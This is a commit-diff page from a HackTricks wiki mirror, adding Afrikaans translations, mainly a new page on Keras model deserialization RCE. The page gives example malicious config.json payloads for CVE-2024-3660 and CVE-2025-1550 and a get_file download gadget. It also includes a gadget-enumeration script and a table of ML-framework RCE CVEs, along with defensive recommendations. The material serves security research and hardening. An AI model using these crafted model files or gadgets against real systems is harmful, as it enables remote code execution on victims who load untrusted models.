maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-methodologies-and-resources/python/README.md',

Browse Source
This commit is contained in:
Translator 2025-08-22 00:23:44 +00:00
parent ab2419e1b7
commit 319930938f
5 changed files with 292 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
src/AI/AI-Models-RCE.md
View File

@ -11,17 +11,17 @@ Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhed
| **Raamwerk / Gereedskap** | **Kwesbaarheid (CVE indien beskikbaar)** | **RCE Vektor** | **Verwysings** |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Onveilige deserialisering in* `torch.load` **(CVE-2025-32434)** | Kwaadwillige pickle in model kontrolepunt lei tot kode-uitvoering (om `weights_only` beskerming te omseil) | |
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuur API | |
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuurs-API | |
| **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit | |
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | |
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversaal) <br> **CVE-2024-5187** (tar traversaal) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (wat lei tot RCE) | |
| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operator vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversaal) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv., oorskryf `.bashrc` vir RCE) | |
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Gemaakte GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | |
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversie) <br> **CVE-2024-5187** (tar traversie) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (lei tot RCE) | |
| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operateur vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversie) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversie toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | |
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
| **Keras (ou formate)** | *(Geen nuwe CVE)* Erflike Keras H5 model | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie – “downgrade aanval”) | |
| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv., pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv. pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
@ -75,13 +75,13 @@ Klaar-gemaakte uitbuiting: **Metasploit** module `exploit/linux/http/invokeai_rc
• InvokeAI 5.3.1-5.4.2 (skandeervlag standaard **vals**)
• `/api/v2/models/install` bereikbaar deur die aanvaller
• Proses het toestemming om skulpopdragte uit te voer
• Proses het regte om skaalopdragte uit te voer
#### Versagtings
* Opgradeer na **InvokeAI ≥ 5.4.3** – die patch stel `scan=True` standaard en voer malware-skandering uit voor deserialisering.
* Wanneer jy kontrolepunte programmaties laai, gebruik `torch.load(file, weights_only=True)` of die nuwe [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Handhaaf toelaat-lists / handtekeninge vir modelbronne en voer die diens met die minste voorregte uit.
* Handhaaf toelaat-lists / handtekeninge vir modelbronne en voer die diens uit met die minste voorregte.
> ⚠️ Onthou dat **enige** Python pickle-gebaseerde formaat (insluitend baie `.pt`, `.pkl`, `.ckpt`, `.pth` lêers) inherent onveilig is om te deserialiseer vanaf onbetroubare bronne.
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
```
## Modelle na Pad Traversal
Soos kommentaar in [**hierdie blogpos**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), is die meeste modelle formate wat deur verskillende AI-raamwerke gebruik word, gebaseer op argiewe, gewoonlik `.zip`. Daarom kan dit moontlik wees om hierdie formate te misbruik om pad traversaal aanvalle uit te voer, wat dit moontlik maak om arbitrêre lêers van die stelsel waar die model gelaai word, te lees.
Soos kommentaar in [**hierdie blogpos**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), is die meeste modelle formate wat deur verskillende AI-raamwerke gebruik word, gebaseer op argiewe, gewoonlik `.zip`. Daarom mag dit moontlik wees om hierdie formate te misbruik om pad traversaal aanvalle uit te voer, wat dit moontlik maak om arbitrêre lêers van die stelsel waar die model gelaai word, te lees.
Byvoorbeeld, met die volgende kode kan jy 'n model skep wat 'n lêer in die `/tmp` gids sal skep wanneer dit gelaai word:
```python
@ -161,6 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
### Deep-dive: Keras .keras deserialisering en gadget jag
Vir 'n gefokusde gids oor .keras interne, Lambda-laag RCE, die arbitrêre invoer probleem in ≤ 3.8, en post-fix gadget ontdekking binne die toelaatlys, sien:
{{#ref}}
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
{{#endref}}
## Verwysings
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialisering van Onbetroubare Data"](https://www.offsec.com/blog/cve-2024-12029/)

1
src/SUMMARY.md
View File

@ -69,6 +69,7 @@
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
- [venv](generic-methodologies-and-resources/python/venv.md)

3
src/generic-methodologies-and-resources/python/README.md
View File

@ -2,10 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
**Interessante bladsye om na te kyk:**
**Interessante bladsye om te kyk:**
- [**Pyscript hacking truuks**](pyscript.md)
- [**Python deserialisasies**](../../pentesting-web/deserialization/README.md)
- [**Keras model deserialisasie RCE en gadget jag**](keras-model-deserialization-rce-and-gadget-hunting.md)
- [**Truuks om python sandboxes te omseil**](bypass-python-sandboxes/README.md)
- [**Basiese python web versoeke sintaksis**](web-requests.md)
- [**Basiese python sintaksis en biblioteke**](basic-python.md)

207
src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md Normal file
View File

@ -0,0 +1,207 @@
# Keras Model Deserialization RCE en Gadget Jag
{{#include ../../banners/hacktricks-training.md}}
Hierdie bladsy somariseer praktiese eksploitasiemetodes teen die Keras model deserialisering pyplyn, verduidelik die inwendige werking van die .keras formaat en aanvaloppervlak, en bied 'n navorsersgereedskapstel vir die vind van Model File Vulnerabilities (MFVs) en post-fix gadgets.
## .keras model formaat inwendige werking
'n .keras lêer is 'n ZIP-argief wat ten minste bevat:
- metadata.json – generiese inligting (bv. Keras weergawe)
- config.json – model argitektuur (primêre aanvaloppervlak)
- model.weights.h5 – gewigte in HDF5
Die config.json dryf rekursiewe deserialisering: Keras importeer modules, los klasse/funksies op en herbou lae/objekte uit aanvaller-beheerde woordeboeke.
Voorbeeld snit vir 'n Dense lae objek:
```json
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
```
Deserialisering voer uit:
- Modulêre invoer en simboolresolusie vanaf module/class_name sleutels
- from_config(...) of konstruktorkalling met aanvaller-beheerde kwargs
- Rekursie in geneste objekte (aktiverings, inisialisators, beperkings, ens.)
Histories het dit drie primitiewe aan 'n aanvaller blootgestel wat config.json saamstel:
- Beheer oor watter modules ingevoer word
- Beheer oor watter klasse/funksies opgelos word
- Beheer oor kwargs wat in konstruktors/from_config oorgedra word
## CVE-2024-3660 – Lambda-laag bytecode RCE
Wortel oorsaak:
- Lambda.from_config() het python_utils.func_load(...) gebruik wat base64-decode en marshal.loads() op aanvaller bytes aanroep; Python unmarshalling kan kode uitvoer.
Eksploitasie idee (vereenvoudigde payload in config.json):
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
```
Mitigering:
- Keras afdwing safe_mode=True standaard. Gekodeerde Python funksies in Lambda word geblokkeer tensy 'n gebruiker eksplisiet opt-out met safe_mode=False.
Notas:
- Erflike formate (ou HDF5 stoor) of ou kodebasisse mag nie moderne kontroles afdwing nie, so “downgrade” styl aanvalle kan steeds van toepassing wees wanneer slagoffers ou laders gebruik.
## CVE-2025-1550 – Arbitraire module invoer in Keras ≤ 3.8
Oorsaak:
- _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met aanvaller-beheerde module stringe van config.json.
- Impak: Arbitraire invoer van enige geïnstalleerde module (of aanvaller-geplante module op sys.path). Invoer-tyd kode loop, dan vind objekkonstruksie plaas met aanvaller kwargs.
Eksploit idee:
```json
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
```
Security improvements (Keras ≥ 3.9):
- Module allowlist: imports beperk tot amptelike ekosisteem modules: keras, keras_hub, keras_cv, keras_nlp
- Safe mode default: safe_mode=True blokkeer onveilige Lambda geserialiseerde-funksie laai
- Basic type checking: gedeserialiseerde objekte moet ooreenstem met verwagte tipes
## Post-fix gadget oppervlak binne allowlist
Selfs met allowlisting en safe mode, bly 'n breë oppervlak oor onder toegelate Keras aanroepbare. Byvoorbeeld, keras.utils.get_file kan arbitrêre URL's na gebruiker-keur plekke aflaai.
Gadget via Lambda wat 'n toegelate funksie verwys (nie geserialiseerde Python bytecode):
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
```
Belangrike beperking:
- Lambda.call() voeg die invoertensor as die eerste posisionele argument by wanneer die teiken aanroepbare aangeroep word. Gekoze gadgets moet 'n ekstra posisionele arg (of *args/**kwargs) kan hanteer. Dit beperk watter funksies lewensvatbaar is.
Potensiële impakte van toegelate gadgets:
- Arbitraire aflaai/skryf (padplanting, konfigurasie vergiftiging)
- Netwerk terugroepe/SSRF-agtige effekte afhangende van die omgewing
- Ketting na kode-uitvoering as geskryfde pades later ingevoer/uitgevoer word of by PYTHONPATH gevoeg word, of as 'n skryfbare uitvoering-op-skryf ligging bestaan
## Navorsers gereedskap
1) Sistematiese gadget ontdekking in toegelate modules
Tel kandidaat aanroepbares op oor keras, keras_nlp, keras_cv, keras_hub en prioritiseer dié met lêer/netwerk/proses/omgewing newe-effekte.
```python
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
```
2) Direkte deserialiseringstoetsing (geen .keras-argief benodig nie)
Voer vervaardigde dikte direk in Keras-deserialiseerders in om aanvaarbare parameters te leer en om effekte te observeer.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
```
3) Cross-version probing en formate
Keras bestaan in verskeie kodebasisse/era met verskillende veiligheidsmaatreëls en formate:
- TensorFlow ingeboude Keras: tensorflow/python/keras (erfgoed, beplan vir verwydering)
- tf-keras: apart onderhou
- Multi-backend Keras 3 (amptelik): het inheemse .keras bekendgestel
Herhaal toetse oor kodebasisse en formate (.keras vs erfgoed HDF5) om regressies of ontbrekende veiligheidsmaatreëls te ontdek.
## Verdedigende aanbevelings
- Behandel model lêers as onbetroubare invoer. Laai slegs modelle van betroubare bronne.
- Hou Keras op datum; gebruik Keras ≥ 3.9 om voordeel te trek uit toelaatlys en tipe kontroles.
- Moet nie safe_mode=False stel wanneer jy modelle laai nie, tensy jy die lêer ten volle vertrou.
- Oorweeg om deserialisering in 'n sandboxed, minste-bevoorregte omgewing sonder netwerkuitgang en met beperkte lêerstelsels toegang te laat plaasvind.
- Handhaaf toelaatlyste/handtekeninge vir modelbronne en integriteitskontrole waar moontlik.
## Verwysings
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
{{#include ../../banners/hacktricks-training.md}}

68
src/macos-hardening/macos-red-teaming/macos-mdm/README.md
View File

File diff suppressed because one or more lines are too long